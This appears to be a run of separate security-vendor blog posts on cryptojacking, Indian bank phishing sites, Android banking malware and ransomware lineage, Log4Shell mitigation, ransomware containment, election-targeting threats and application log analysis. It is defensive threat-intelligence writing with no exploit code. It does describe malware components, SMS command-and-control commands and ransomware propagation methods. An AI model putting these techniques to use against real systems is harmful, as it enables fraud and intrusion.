As defenses evolve to prevent unauthorized coin mining activities, so will the techniques used by actors; however, blocking some of the most common indicators that we have observed to date may be effective in combatting a significant amount of the CPU-draining mining activities that customers have reported.
Generic detection strategies for browser-based cryptocurrency mining include: Blocking domains known to have hosted coin mining scripts Blocking websites of known mining project websites, such as Coinhive Blocking scripts altogether Using an ad-blocker or coin mining-specific browser add-ons Detecting commonly used naming conventions Alerting and blocking traffic destined for known popular mining pools Some of these detection strategies may also be of use in blocking some mining functionality included in existing financial malware as well as mining-specific malware families.
It is important to note that JavaScript used in browser-based cryptojacking activity cannot access files on disk.
However, if a host has inadvertently navigated to a website hosting mining scripts, we recommend purging cache and other browser data.
Outlook In underground communities and marketplaces there has been significant interest in cryptojacking operations, and numerous campaigns have been observed and reported by security researchers.
These developments demonstrate the continued upward trend of threat actors conducting cryptocurrency mining operations, which we expect to see a continued focus on throughout 2018.
Notably, malicious cryptocurrency mining may be seen as preferable due to the perception that it does not attract as much attention from law enforcement as compared to other forms of fraud or theft.
Further, victims may not realize their computer is infected beyond a slowdown in system performance.
Due to its inherent privacy-focused features and CPU-mining profitability, Monero has become one of the most attractive cryptocurrency options for cyber criminals.
We believe that it will continue to be threat actors' primary cryptocurrency of choice, so long as the Monero blockchain maintains privacy-focused standards and is ASIC-resistant.
If in the future the Monero protocol ever downgrades its security and privacy-focused features, then we assess with high confidence that threat actors will move to use another privacy-focused coin as an alternative.
Because of the anonymity associated with the Monero cryptocurrency and electronic wallets, as well as the availability of numerous cryptocurrency exchanges and tumblers, attribution of malicious cryptocurrency mining is very challenging for authorities, and malicious actors behind such operations typically remain unidentified.
Threat actors will undoubtedly continue to demonstrate high interest in malicious cryptomining so long as it remains profitable and relatively low risk.
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FireEye Labs recently discovered a malicious phishing domain designed to steal a variety of information – including credentials and mobile numbers – from customers of several banks in India.
Currently, we have not observed this domain being used in any campaigns.
The phishing websites appear to be in the earlier stages of development and through this post we hope users will be able to identify these types of emerging threats in the future.
FireEye phishing detection technology identified a newly registered domain, “csecurepay[.
]com”, that was registered on Oct. 23, 2016.
The website purports to offer online payment gateway services, but is actually a phishing website that leads to the capturing of victim logon credentials – and other information – for multiple banks operating in India.
Prior to publication, FireEye notified the Indian Computer Emergency Response Team.
Phishing Template Presentation and Techniques Step 1 URL: hxxp://csecurepay[.
]com/load-cash-step2.aspx
When navigating to the URL, the domain appears to be a payment gateway and requests that the user enter their bank account number and the amount to be transferred, as seen in Figure 1.
The victim is allowed to choose their bank from a list that is provided.
Figure 1: Bank information being requested By looking at the list, it is clear that only Indian banks are being targeted at this time.
A total of 26 banks are available and these are named in the Appendix.
Step 2 URL:  hxxp://csecurepay[.
]com/
PaymentConfirmation.aspx
The next website requests the victim to enter their valid 10-digit mobile number and email ID (Figure 2), which makes the website appear more legitimate.
Figure 2: Personal information being requested Step 3
The victim will then be redirected to the spoofed online banking page of the bank they selected, which requests that they log in using their user name and password.
Figure 3 shows a fake login page for State Bank of India.
See the Appendix for more banks that have spoofed login pages.
Figure 3: Fake login page for State Bank of India After entering their login credentials, the victim will be asked to key in their One Time Password (OTP), as seen in Figure 4.
Figure 4:
OTP being requested Step 4 URL: hxxp://csecurepay[.
]com/
Final.aspx
Once all of the sensitive data is gathered, a fake failed login message will be displayed to the victim, as seen in Figure 5.
Figure 5: Fake error message being displayed Credit and Debit Card Phishing Website Using the registrant information from the csecurepay domain, we found another domain registered by the phisher as “nsecurepay[.
]com”.
The domain, registered in latest August 2016, aims to steal credit and debit card information.
The following are among the list of cards that are targeted: 1.
ICICI Credit Card 2.
ICICI Debit Card 3.
Visa/Master Credit Card 4.
Visa/Master Debit Card 5.
SBI Debit Card Only At the time of this writing, the nsecurepay website was producing errors when redirecting to spoofed credit and debit card pages.
Figure 6 shows the front end.
Figure 6:
Nsecurepay front end Conclusion Phishing has its own development lifecycle.
It usually starts off with building the tools and developing the “hooks” for luring victims into providing their financial information.
Once the phishing website (or websites) is fully operational, we typically begin to see a wave of phishing emails pointing to it.
In this case, we see that phishing websites have been crafted to spoof multiple banks in India.
These attackers can potentially grab sensitive online banking information and other personal data, and even provided support for multifactor authentication and OTP.
Moreover, disguising the initial presentation to appear as an online payment gateway service makes the phishing attack seem more legitimate.
FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns.
Appendix Fake login pages were served for 26 banks.
The following is a list of some of the banks: -Bank of Baroda - Corporate -Bank of Baroda - Retail -Bank of Maharashtra -HDFC Bank Figure 7: HDFC Bank fake login page -ICICI Bank -IDBI Bank -Indian Bank -IndusInd Bank -Jammu and Kashmir Bank -Kotak
Bank
-Lakshmi Vilas Bank - Corporate -Lakshmi Vilas Bank - Retail -State Bank of Hyderabad -State Bank of India -State Bank of Jaipur -State Bank of Mysore -State Bank of Patiala -State Bank of Bikaner -State Bank of Travancore -Tamilnad Mercantile Bank -United Bank of India Subscribe to Blogs Get email updates as new blog posts are added.
Introduction On Feb. 19, IBM XForce researchers released an intelligence report [ 1 ] stating that the source code for GM Bot was leaked to a crimeware forum in December 2015.
GM Bot is a sophisticated Android malware family that emerged in the Russian-speaking cybercrime underground in late 2014.
IBM also claimed that several Android malware families recently described in the security community were actually variants of GM Bot, including Bankosy[ 2 ], MazarBot[ 3 ], and the SlemBunk malware recently described by FireEye[ 4 , 5 ].
Security vendors may differ in their definition of a malware “variant.”
The term may refer to anything from almost identical code with slight modifications, to code that has superficial similarities (such as similar network traffic) yet is otherwise very different.
Using IBM’s reporting, we compared their GM Bot samples to SlemBunk.
Based on the disassembled code of these two families, we agree that there are enough code similarities to indicate that GM Bot shares a common origin with SlemBunk.
Interestingly, our research led us to identify an earlier malware family named SimpleLocker – the first known file-encryption ransomware on Android [ 6 ] – that also shares a common origin with these banking trojan families.
GM Bot and SlemBunk Our analysis showed that the four GM Bot samples referenced by IBM researchers all share the same major components as SlemBunk.
Figure 1 of our earlier report [ 4 ] is reproduced here, which shows the major components of SlemBunk and its corresponding class names: ServiceStarter : An Android receiver that will be invoked once an app is launched or the device boots up.
Its functionality is to start the monitoring service, MainService , in the background.
MainService : An Android service that runs in the background and monitors all running processes on the device.
It prompts the user with an overlay view that resembles the legitimate app when that app is launched.
This monitoring service also communicates with a remote host by sending the initial device data and notifying of device status and app preferences.
MessageReceiver :
An Android receiver that handles incoming text messages.
In addition to the functionality of intercepting the authentication code from the bank, this component also acts as the bot client for remote command and control (C2).
MyDeviceAdminReceiver :
A receiver that requests administrator access to the Android device the first time the app is launched.
This makes the app more difficult to remove.
Customized UI views: Activity classes that present fake login pages that mimic those of the real banking apps or social apps to phish for banking or social account credentials.
Figure 1.
Major components of SlemBunk malware family The first three GM Bot samples have the same package name as our SlemBunk sample.
In addition, the GM Bot samples have five of the same major components, including the same component names, as the SlemBunk sample in Figure 1.
The fourth GM Bot sample has a different initial package name, but unpacks the real payload at runtime.
The unpacked payload has the same major components as the SlemBunk sample, with a few minor changes on the class names: MessageReceiver replaced with buziabuzia , and MyDeviceAdminReceiver replaced with MDRA .
Figure 2.
Code Structure Comparison between GM Bot and SlemBunk Figure 2 shows the code structure similarity between one GM Bot sample and one SlemBunk sample (SHA256 9425fca578661392f3b12e1f1d83b8307bfb94340ae797c2f121d365852a775e and SHA256 e072a7a8d8e5a562342121408493937ecdedf6f357b1687e6da257f40d0c6b27 for GM Bot and SlemBunk, respectively).
From this figure, we can see that the five major components we discussed in our previous post [ 4 ] are also present in GM Bot sample.
Other common classes include: Main , the launching activity of both samples.
MyApplication , the application class that starts before any other activities of both samples.
SDCardServiceStarter , another receiver that monitors the status of MainService and restarts it when it dies.
Among all the above components and classes, MainService is the most critical one.
It is started by class Main at the launching time, keeps working in the background to monitor the top running process, and overlays a phishing view when a victim app (e.g., some mobile banking app) is recognized.
To keep MainService running continuously, malware authors added two receivers – ServiceStarter and SDCardServiceStarter – to check its status when particular system events are received.
Both GM Bot and SlemBunk samples share the same architecture.
Figure 3 shows the major code of class SDCardServiceStarter to demonstrate how GM Bot and SlemBunk use the same mechanism to keep MainService running.
Figure 3.
Method onReceive of SDCardServiceStarter for GM Bot and SlemBunk From this figure, we can see that GM Bot and SlemBunk use almost identical code to keep MainService running.
Note that both samples check the country in system locale and avoid starting MainService when they find the country is Russia.
The only difference is that GM Bot applies renaming obfuscation to some classes, methods and fields.
For example, static variable “MainService;->a” in GM Bot has the same role as static variable “MainService;->isRunning” in SlemBunk.
Malware authors commonly use this trick to make their code harder to understand.
However this won’t change the fact that the underlying codes share the same origin.
Figure 4 shows the core code of class MainService to demonstrate that GM Bot and SlemBunk actually have the same logic for main service.
In Android, when a service is started its onCreate method will be called.
In method onCreate of both samples, a static variable is first set to true.
In GM Bot, this variable is named “a”, while in SlemBunk it is named “isRunning”.
Then both will move forward to read an app particular preference.
Note that the preferences in both samples have the same name: “AppPrefs”.
The last tasks of these two main services are also the same.
Specifically, in order to check whether any victim apps are running, a runnable thread is scheduled.
If a victim app is running, a phishing view is overlaid on top of that of the victim app.
The only difference here is also on the naming of the runnable thread.
Class “d” in GM Bot and class “MainService$2” in SlemBunk are employed respectively to conduct the same credential phishing task.
Figure 4.
Class MainService for GM Bot and SlemBunk
In summary, our investigation into the binary code similarities supports IBM’s assertion that GM Bot and SlemBunk share the same origin.
SimpleLocker and SlemBunk IBM noted that GM Bot emerged in late 2014 in the Russian-speaking cybercrime underground.
In our research, we noticed that an earlier piece of Android malware named SimpleLocker also has a code structure similar to SlemBunk and GM Bot.
However, SimpleLocker has a different financial incentive: to demand a ransom from the victim.
After landing on an Android device, SimpleLocker scans the device for certain file types, encrypts them, and then demands a ransom from the user in order to decrypt the files.
Before SimpleLocker’s emergence, there were other types of Android ransomware that would lock the screen; however, SimpleLocker is believed to be the first file-encryption ransomware on Android.
The earliest report on SimpleLocker we identified was published by ESET in June 2014 [ 6 ].
However, we found an earlier sample in our malware database from May 2014 (SHA256 edff7bb1d351eafbe2b4af1242d11faf7262b87dfc619e977d2af482453b16cb).
The compile date of this app was May 20, 2014.
We compared this SimpleLocker sample to one of our SlemBunk samples (SHA256 f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96) using the same methods used to compare GM Bot and SlemBunk.
Figure 5 shows the code structure comparison between these two samples.
Note that this SimpleLocker variant also has the major components ServiceStarter and MainService , both used by SlemBunk.
However, the purpose of the main service here is not to monitor running apps and provide phishing UIs to steal banking credentials.
Instead, SimpleLocker’s main service component scans the device for victim files and calls the file encryption class to encrypt files and demand a ransom.
The major differences in the SimpleLocker code are shown in the red boxes: AesCrypt and FileEncryptor.
Other common classes include: Main , the launching activity of both samples.
SDCardServiceStarter , another receiver that monitors the status of MainService and restarts it when it dies.
Tor and OnionKit, third-party libraries for private communication.
TorSender , HttpSender and Utils , supporting classes to provide code for CnC communication and for collecting device information.
Figure 5.
Code structure comparison between SimpleLocker and SlemBunk samples
Finally, we located another SimpleLocker sample (SHA256 304efc1f0b5b8c6c711c03a13d5d8b90755cec00cac1218a7a4a22b091ffb30b) from July 2014, about two months after the first SimpleLocker sample.
This new sample did not use Tor for private communications, but shared four of the five major components as the SlemBunk sample (SHA256: f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96).
Figure 6 shows the code structure comparison between these two samples.
Figure 6.
Code structure comparison between SimpleLocker and SlemBunk variants As we can see in Figure 6, the new SimpleLocker sample used a packaging mechanism similar to SlemBunk, putting HttpSender and Utils into a sub-package named “utils”.
It also added two other major components that were originally only seen in SlemBunk: MessageReceiver and MyDeviceAdminReceiver .
In total, this SimpleLocker variant shares four out of five major components with SlemBunk.
Figure 7 shows the major code of MessageReceiver in the previous samples to demonstrate that SimpleLocker and SlemBunk use basically the same process and logic to communicate with the CnC server.
First, class MessageReceiver registers itself to handle incoming short messages, whose arrival will trigger its method onReceive .
As seen from the figure, the main logics here are basically the same for SimpleLocker and SlemBunk.
They first read the value of a particular key from app preferences.
Note that the names for the key and shared preference are the same for these two different malware families: key is named “CHECKING_NUMBER_DONE” and preference named “AppPrefs”.
The following steps call method retrieveMessage to retrieve the short messages, and then forward the control flow to class SmsProcessor .
The only difference here is that SimpleLocker adds one extra method named processControlCommand to forward control flow.
Class SmsProcessor defines the CnC commands supported by the malware families.
Looking into class SmsProcessor , we identified more evidence that SimpleLocker and SlemBunk are of the same origin.
First, the CnC commands supported by SimpleLocker are actually a subset of those supported by SlemBunk.
In SimpleLocker, CnC commands include \"intercept_sms_start\", \"intercept_sms_stop\", \"control_number\" and \"send_sms\", all of which are also present in SlemBunk sample.
What is more, in both SimpleLocker and SlemBunk there is a common prefix “#” before the actual CnC command.
This kind of peculiarity is a good indicator that SimpleLocker and SlemBunk share a common origin.
Figure 7.
Class MessageReceiver for SimpleLocker and SlemBunk variants The task of class MyDeviceAdminReceiver is to request device administrator privilege, which makes these malware families harder to remove.
SimpleLocker and SlemBunk are also highly similar in this respect, supporting the same set of device admin relevant functionalities.
At this point, we can see that these variants of SimpleLocker and SlemBunk share four out of five major components and share the same supporting utilities.
The only difference is in the final payload, with SlemBunk phishing for banking credentials while SimpleLocker encrypts certain files and demands ransom.
This leads us to believe that SimpleLocker came from the same original code base as SlemBunk.
Conclusion Our analysis confirms that several Android malware families share a common origin, and that the first known file-encrypting ransomware for Android – SimpleLocker – is based on the same code as several banking trojans.
Additional research may identify other related malware families.
Individual developers in the cybercrime underground have been proficient in writing and customizing malware.
As we have shown, malware with specific and varied purposes can be built on a large base of shared code used for common functions such as gaining administrative privileges, starting and restarting services, and CnC communications.
This is apparent simply from looking at known samples related to GM Bot – from SimpleLocker that is used for encryption and ransomware, to SlemBunk that is used as a banking Trojan and for credential theft, to the full-featured MazarBot backdoor.
With the leak of the GM Bot source code, the number of customized Android malware families based on this code will certainly increase.
Binary code-based study, one of FireEye Labs’ major research tools, can help us better characterize and track malware families and their relationships, even without direct access to the source code.
Fortunately, the similarities across these malware families make them easier to identify, ensuring that FireEye customers are well protected.
References: [1].
Android Malware About to Get Worse:
GM Bot Source Code Leaked [2].
Android.
Bankosy:
All ears on voice call-based 2FA [3].
MazarBOT:
Top class Android datastealer [4].
SLEMBUNK:
AN EVOLVING ANDROID TROJAN FAMILY TARGETING USERS OF WORLDWIDE BANKING APPS [5].
SLEMBUNK PART II: PROLONGED ATTACK CHAIN AND BETTER-ORGANIZED CAMPAIGN [6].
ESET Analyzes Simplocker – First Android File-Encrypting, TOR-enabled Ransomware Subscribe to Blogs Get email updates as new blog posts are added.
Various information security news outlets reported on the discovery of critical vulnerability CVE-2021-44228 in the Apache Log4j library (CVSS severity level 10 out of 10).
Millions of Java applications use this library to log error messages.
To make matters worse, attackers are already actively exploiting this vulnerability.
For this reason, the Apache Foundation recommends all developers to update the library to version 2.15.0, and if this is not possible, use one of the methods described on the Apache Log4j Security Vulnerabilities page .
Why CVE-2021-44228 is so dangerous CVE-2021-44228, also named Log4Shell or LogJam, is a Remote Code Execution (RCE) class vulnerability.
If attackers manage to exploit it on one of the servers, they gain the ability to execute arbitrary code and potentially take full control of the system.
What makes CVE-2021-44228 especially dangerous is the ease of exploitation: even an inexperienced hacker can successfully execute an attack using this vulnerability.
According to the researchers, attackers only need to force the application to write just one string to the log, and after that they are able to upload their own code into the application due to the message lookup substitution function.
Working Proofs of Concept (PoC) for the attacks via CVE-2021-44228 are already available on the Internet.
Therefore, it’s not surprising that cybersecurity companies are already registering massive network scans for vulnerable applications as well as attacks on honeypots.
This vulnerability was discovered by Chen Zhaojun of Alibaba Cloud Security Team.
What is Apache Log4J and why is this library is so popular?
Apache Log4j is part of the Apache Logging Project.
By and large, usage of this library is one of the easiest ways to log errors, and that is why most Java developers use it.
Many large software companies and online services use the Log4j library, including Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and many more.
Because of the library being so popular, some information security researchers expect a significant increase in the attacks on vulnerable servers over the coming days.
#Log4Shell pic.twitter.com/1bKDwRQBqt — Florian Roth ⚡️ (@cyb3rops) December 10, 2021 Which versions of the Log4j library is vulnerable and how can you protect your servers from attack?
Almost all versions of Log4j are vulnerable, starting from 2.0-beta9 to 2.14.1.
The simplest and most effective protection method is to install the most recent version of the library, 2.15.0 .
You can download it on the project page .
If for some reason updating the library is not possible, Apache Foundation recommends using one of the mitigation methods.
In case of Log4J versions from 2.10 to 2.14.1, they advise setting the log4j2.formatMsgNoLookups system property, or setting the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true .
To protect earlier releases of Log4j (from 2.0-beta9 to 2.10.0), the library developers recommend removing the JndiLookup class from the classpath: zip
-q -d log4j-core – *.
Jar org / apache / logging / log4j / core / lookup
/ JndiLookup .class .
In addition, we recommend to install security solutions on your servers — in many cases this will allow you to detect the launch of malicious code and stop the attack’s development.
UPDATE (Oct. 30, 2020):
We have updated the report to include additional protection and containment strategies based on front-line visibility and response efforts in combating ransomware.
While the full scope of recommendations included within the initial report remain unchanged, the following strategies have been added into the report: Windows Firewall rule configurations to block specific binaries from establishing outbound connections from endpoints Domain Controller isolation and recovery planning steps Proactive GPO permissions review and monitoring guidance Ransomware is a global threat targeting organizations in all industries.
The impact of a successful ransomware event can be material to an organization - including the loss of access to data, systems, and operational outages.
The potential downtime, coupled with unforeseen expenses for restoration, recovery, and implementation of new security processes and controls can be overwhelming.
Ransomware has become an increasingly popular choice for attackers over the past few years, and it’s easy to understand why given how simple it is to leverage in campaigns – while offering a healthy financial return for attackers.
In our latest report, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment , we discuss steps organizations can proactively take to harden their environment to prevent the downstream impact of a ransomware event.
These recommendations can also help organizations with prioritizing the most important steps required to contain and minimize the impact of a ransomware event after it occurs.
Ransomware is commonly deployed across an environment in two ways: Manual propagation by a threat actor after they’ve penetrated an environment and have administrator-level privileges broadly across the environment: Manually run encryptors on targeted systems.
Deploy encryptors across the environment using Windows batch files (mount C$ shares, copy the encryptor, and execute it with the Microsoft PsExec tool).
Deploy encryptors with Microsoft Group Policy Objects (GPOs).
Deploy encryptors with existing software deployment tools utilized by the victim organization.
Automated propagation: Credential or Windows token extraction from disk or memory.
Trust relationships between systems – and leveraging methods such as Windows Management Instrumentation (WMI), SMB, or PsExec to bind to systems and execute payloads.
Unpatched exploitation methods (e.g., EternalBlue – addressed via Microsoft Security Bulletin MS17-010 ).
The report covers several technical recommendations to help organizations mitigate the risk of and contain ransomware events including: Endpoint segmentation Hardening against common exploitation methods Reducing the exposure of privileged and service accounts Cleartext password protections If you are reading this report to aid your organization’s response to an existing ransomware event, it is important to understand how the ransomware was deployed through the environment and design your ransomware response appropriately.
This guide should help organizations in that process.
Read the report today .
*Note: The recommendations in this report will help organizations mitigate the risk of and contain ransomware events.
However, this report does not cover all aspects of a ransomware incident response.
We do not discuss investigative techniques to identify and remove backdoors (ransomware operators often have multiple backdoors into victim environments), communicating and negotiating with threat actors, or recovering data once a decryptor is provided.
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In democratic societies, elections are the mechanism for choosing heads of state and policymakers.
There are strong incentives for adversary nations to understand the intentions and preferences of the people and parties that will shape a country's future path and to reduce uncertainty about likely winners.
Mandiant Threat Intelligence regularly observes cyber espionage operations we believe to be seeking election-related information targeting governments, civil society, media, and technology organizations around the globe.
We have also seen disruptive and destructive cyber attacks and propaganda campaigns seeking to undermine targeted governments and influence the outcomes of electoral contests.
The 2020 U.S. elections are currently drawing attention to election cyber risks, but 2020 has already hosted dozens of elections worldwide, with more to come.
In the Asia-Pacific region these included elections in Taiwan, India, South Korea, and Singapore to name a few, with regional elections scheduled for Indonesia in December.
Given the prevalence of such activity worldwide and Mandiant's unique visibility into threat actor activity, we believe it is worthwhile to examine trends in adversary targeting of elections in a variety of regional contexts because the tactics, techniques, and procedures (TTPs) used in one region today may soon be deployed or mimicked in other regions.
Notable Electoral Targeting in Asia-Pacific Region Mandiant Threat Intelligence tracked numerous elections-related incidents in the Asia-Pacific region in recent years.
During this time, the most prolific regional actor was China, which we observed in more than 20 elections-related campaigns most frequently affecting Hong Kong and Taiwan.
We believe that China's primary motives for elections targeting includes monitoring political developments, internal stability, and supporting Belt and Road Initiative (BRI) investments.
Examples of Chinese cyber espionage targeting electoral support organizations include: Targeting candidates and related staff associated with the November 2019 Hong Kong District Council elections with a malicious macro document.
Targeting the Australian Parliament in February 2019, three months before the country's general elections.
Compromising Cambodia's National Election Commission in mid-2018 based on the use of AIRBREAK malware by APT40, possibly looking to understand the impact of the election outcome on Belt and Road Initiative (BRI) plans.
See our blog post for more details about this campaign.
A spear phishing campaign targeting multiple government agencies in Southeast Asia in the spring of 2018 to deliver FIREPIT payloads.
The nature of the lure material and targeting indicate the activity was potentially an effort to monitor an upcoming election in the affected country.
Specifically, Mandiant has observed multiple instances in which organizations such as electoral boards and commissions that support or help administer elections have been targeted.
Both Russian and Chinese cyber espionage operations have targeted election administrators and government officials since at least 2014.
Observed TTPs include phishing and strategic website compromise (SWC), also known as watering hole attacks.
For example, in the November 2019 activity targeting Hong Kong (previously referenced), Mandiant Threat Intelligence believes that candidates or related staff associated with the Hong Kong District Council elections were targeted with a malicious macro document just prior to the elections based on geolocation information, the spear-phishing lure, and other data.
Figure 1: Decoy content from phishing email Elections Ecosystem
As our readers will know, Mandiant takes a specific approach to deconstructing attacks against elections, which we detailed in a previous blog post .
Our approach examines threats through the lens of risk posed at various levels of the elections ecosystem.
We break the elections threat landscape into distinct attack surfaces to better allow our customers and partners to take action.
These include the following: Electoral Platforms Affecting Public Opinion Electoral Process Support Organizations Core Electoral Process Systems Figure 2: Attack surfaces associated with the electoral process Top Target of Election Cyber Threat Activity: Public Opinion Using our ecosystem taxonomy, based on activity observed from 2016 to 2019, Mandiant Threat Intelligence assesses that actors concentrated on \"platforms affecting public opinion\" much more often than \"core election systems\" such as voting machines, or \"electoral support organizations\" such as election commissions.
Figure 3: Electoral platforms affecting public opinions are most frequently targeted Globally, we assess that actors continue to deploy disinformation in the form of fabricated news and hoaxes spread primarily via social media and counterfeit websites designed to mimic legitimate news organizations, which may be picked up by legitimate news organizations.
In the last several years, we have seen influence operations use increasingly creative methods to blend their inauthentic messaging with legitimate speech (e.g., by interviewing, impersonating, and hiring legitimate journalists or experts, and sending letters to the editor to real publications).
Malicious actors create and spread disinformation with the intent to mislead an electorate by causing reputational damage to an individual or political party, or by casting doubt regarding a particular issue or political process.
Influence campaigns also seek to exacerbate existing societal divisions.
In the Asia-Pacific region, Mandiant Threat Intelligence observed pro-China threat actors spoof Taiwanese media outlet TVBS (官方網站) to promote narratives in line with the People's Republic of China's (PRC's) political interests in a coordinated, inauthentic manner.
The accounts use a variety of tactics in order to pose as Western media outlets, including the use of identical or near-identical usernames, display names, and profile photos as the accounts of the outlets they imitate.
Figure 4: @TVSBnews quote-tweets People's Daily video citing alleged U.S. interference in foreign elections Public exposure of high-profile information operations, such as Russia's interference in the 2016 U.S. presidential election, has strengthened perceptions that such operations are effective.
It also demonstrates the difficulty that open societies face in countering this threat, encouraging current and aspiring information operation sponsors to grow their efforts.
We anticipate that influence operations conducted in support of the political interests of nation-states will increase in sophistication, volume, and diversity of actors through 2020 and beyond.
In the last 12 months, Mandiant Threat Intelligence observed and reported on information operations conducted in support of the political interests of numerous countries.
During Singapore's 2020 general elections, the country's first \"digital\" election, Mandiant Threat Intelligence identified multiple inauthentic accounts.
These accounts did not, however, appear to be acting in a coordinated manner.
Outlook and Implications We expect that threat actors will continue to target entities associated with elections worldwide for the foreseeable future and may expand the scope of this activity as long as the potential rewards of these operations outweigh the risks.
State-sponsored actors almost certainly view targeting the electoral process as an effective means of projecting power and collecting intelligence.
Furthermore, the continuous expansion of the social media landscape will likely encourage various actors to pursue information operations by promoting preferred narratives, including the use of propagating inauthentic or deceptive information.
We have already seen tactics evolve to avoid detection and incorporate emerging technologies, such as \"deepfake\" or multimedia manipulation technology, to advance more believable and impactful information operations, and we expect these innovations to continue.
Lower tech methods, such as outsourcing propaganda activities to real people hired specifically to spread false and misleading content, can hinder attribution efforts and potentially increase the effectiveness of operations if those people have a more specialized understanding of the information environment.
To battle election threats, there is an urgent need to increase public awareness of the threat and inculcate behaviors that reduce the risk of compromise or disruption.
These include everything from rigorously securing email to implementing policy around notification of cyber incidents in the supply chain.
In addition, governments can consider mandating digital imprint requirements for election campaigning, increasing fines for electoral fraud, and increasing transparency around digital political advertisements.
Investment in news verification and screening methodologies on search and social media platforms as well as public education efforts equipping voters and students to distinguish trustworthy information from suspicions may also reduce the impact of influence operations.
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Many organizations operating in e-commerce, hospitality, healthcare, managed services, and other service industries rely on web applications.
And buried within the application logs may be the potential discovery of fraudulent use and/or compromise!
But, let's face it, finding evil in application logs can be difficult and overwhelming for a few reasons, including: The wide variety of web applications with unique functionality The lack of a standard logging format Logging formats that were designed for troubleshooting application issues and not security investigations The need for a centralized log analysis solution or SIEM to process and investigate a large amount of application log data
So, in this blog post, we discuss threat modeling concepts that can help prioritize logging decisions and unleash the ability to identify and investigate attacks against an application.
To help us demonstrate, we'll describe situations for a fictitious organization called Dog and Feline Urgent Response, or DFUR, that we presented at the 2020 SANS Digital Forensics & Incident Response (DFIR) Summit .
We selected Splunk Enterprise Security (ES) as DFUR’s SIEM and logging analysis platform, but this is just one option and there are multiple technologies that can facilitate application log analysis.
We created a Splunk application called “ Dog and Feline Urgent Response (DFUR) ” available on the FireEye GitHub that contains pre-indexed data and dashboards that you can use to follow along with the following attack scenarios.
But, enough kitten around.
Let’s introduce you to DFUR!
DFUR:
Dog and Feline Urgent Response DFUR is a long-standing organization in the pet wellness industry that provides care providers, pet owners, and insurance providers with application services.
Care providers, such as veterinarians, use DFUR to process patient records, submit prescriptions, and order additional care services Pet owners use DFUR to make appointments, pay bills, and see diagnostic test results Insurance providers use DFUR to receive and pay claims to pet care providers Application users log into a web portal that forwards logon and user transaction logs to DFUR’s Splunk ES instance.
Backend databases store metadata for users, such as street addresses and contact information.
DFUR Security Team Threat Modeling After stumbling through several incidents, the DFUR security team realized that their application did not log the information needed to answer investigative question clearly and quickly.
The team held workshops with technical stakeholders to develop a threat model and improve their application security strategy.
They addressed questions, such as: What types of threats does DFUR face based on industry trends?
What impact could those threats have?
How could the DFUR application be attacked or abused?
What log data would DFUR need to prove an attack or fraud happened?
The DFUR team compiled the stakeholder feedback and developed a threat profile to identify and prioritize high-risk threats facing the DFUR application platform, including: Account takeover and abuse Password attacks (e.g., credential stuffing)
Bank account modifications PHI/PII access Health service modifications or interruptions Fraudulent reimbursement claim submission Veterinarians over-prescribing catnip
The DFUR security team discussed how they could identify threats using their currently available logs, and, well, the findings were not purr-ty.
Logging Problems Identified The DFUR team used their threat model to determine what log sources were relevant to their security mission, and then they dug into each one to confirm the log events were valid, normalized, and accessible.
This effort produced a list of high-priority logging issues that needed to be addressed before the security team could move forward with developing methods for detection and analysis: Local logs were not forwarded to their Splunk ES instance .
Only a limited subset of logging was forwarded to their Splunk ES instance, so DFUR analysts couldn't search for the actions performed by users who were authenticated to the application portal.
Inaccurate field mapping .
DFUR analysts identified extracted field values that were mapped to incorrect field names.
One example was the user-agent in authentication log events had been extracted as the username field.
Application updates sometimes affected Splunk ingestion and parsing.
DFUR analysts identified servers that didn't have a startup script to ensure log forwarding was enabled upon system reboot.
Application updates changed the logging output format which broke field extractions.
DFUR analysts didn't have a way to determine when log sources weren't operating as expected.
Time zone misconfigurations .
DFUR analysts determined their log sources had multiple time zone configurations which made correlation difficult.
The log archival settings needed to be modified .
DFUR analysts needed to configure their Splunk ES instance data retirement policy to maintain indexed data for a longer time period and archive historical data for quick restoration.
Source IP addresses of users logging into the portal were masked by a load balancer.
The DFUR analysts realized that the source IP address for every user logon was a load balancer, which made attribution even more difficult.
The X-Forwarded-For (XFF) field in their appliances needed to be enabled.
Analysis Problems Identified The DFUR infosec team reviewed how previous incidents involving the DFUR application were handled.
They quickly learned that they needed to solve the following operational issues before they could effectively investigate application attacks: Inconsistency during manual analysis .
DFUR analysts took different approaches to searching their Splunk ES instance, and they would reach different conclusions.
Playbooks were needed to define a standard investigative methodology for common incident scenarios.
No documentation of log fields or sources .
Some DFUR analysts were not aware of all relevant data sources that were available when investigating security incidents.
This led to findings that were based on a small part of the picture.
A data dictionary was needed that defines the log sources and fields in the DFUR Splunk ES instance and the retention time for each log source.
Application logs were designed for troubleshooting, not investigating .
The DFUR application was configured to log diagnostic information, application errors, and limited subsets of successful user activity.
The DFUR team needed to reconfigure and develop the application to record more security related events.
DFUR:
New and Improved Monitoring and Detection The DFUR team addressed their application log and analysis problems and started building a detection and investigative capability in their Splunk ES instance.
Using the analysis workflows developed during the threat modeling process, the DFUR team designed Splunk dashboards (Figure 1) to provide detection analytics and context around three primary datapoints: usernames, IP addresses, and care providers (“organizations”).
Figure 1: DFUR monitoring and detection dashboard
The DFUR team created the Splunk dashboards using Simple XML to quickly identify alerts and pivot among the primary datapoints, as seen in Figure 2.
The DFUR team knew that their improved and streamlined methodology would save time compared to exporting, analyzing, and correlating raw logs manually.
Figure 2:
Pivoting concepts used to develop DFUR dashboards Newly armed (legged?)
with a monitoring and detection capability, the DFUR team was ready to find evil!
Attack Scenario #1: Account Takeover The next morning, the DFUR security team was notified by their customer service team of a veterinarian provider with the username ‘labradorable’ who hadn’t received their daily claims payment and noticed their banking information in the DFUR portal was changed overnight.
A DFUR analyst opened the User Activity Enrichment dashboard (Figure 3) and searched for the username to see recent actions performed by the account.
Figure 3:
User Activity Enrichment dashboard The analyst reviewed the Remote Access Analytics in the dashboard and identified the following anomalies (Figure 4):
The username reminder and password reset action was performed the day before from an Indonesia-based IP address The user account was logged in from the same suspicious IP address shortly after The legitimate user always logs in from California, so the Indonesia source IP login activity was highly suspicious Figure 4:
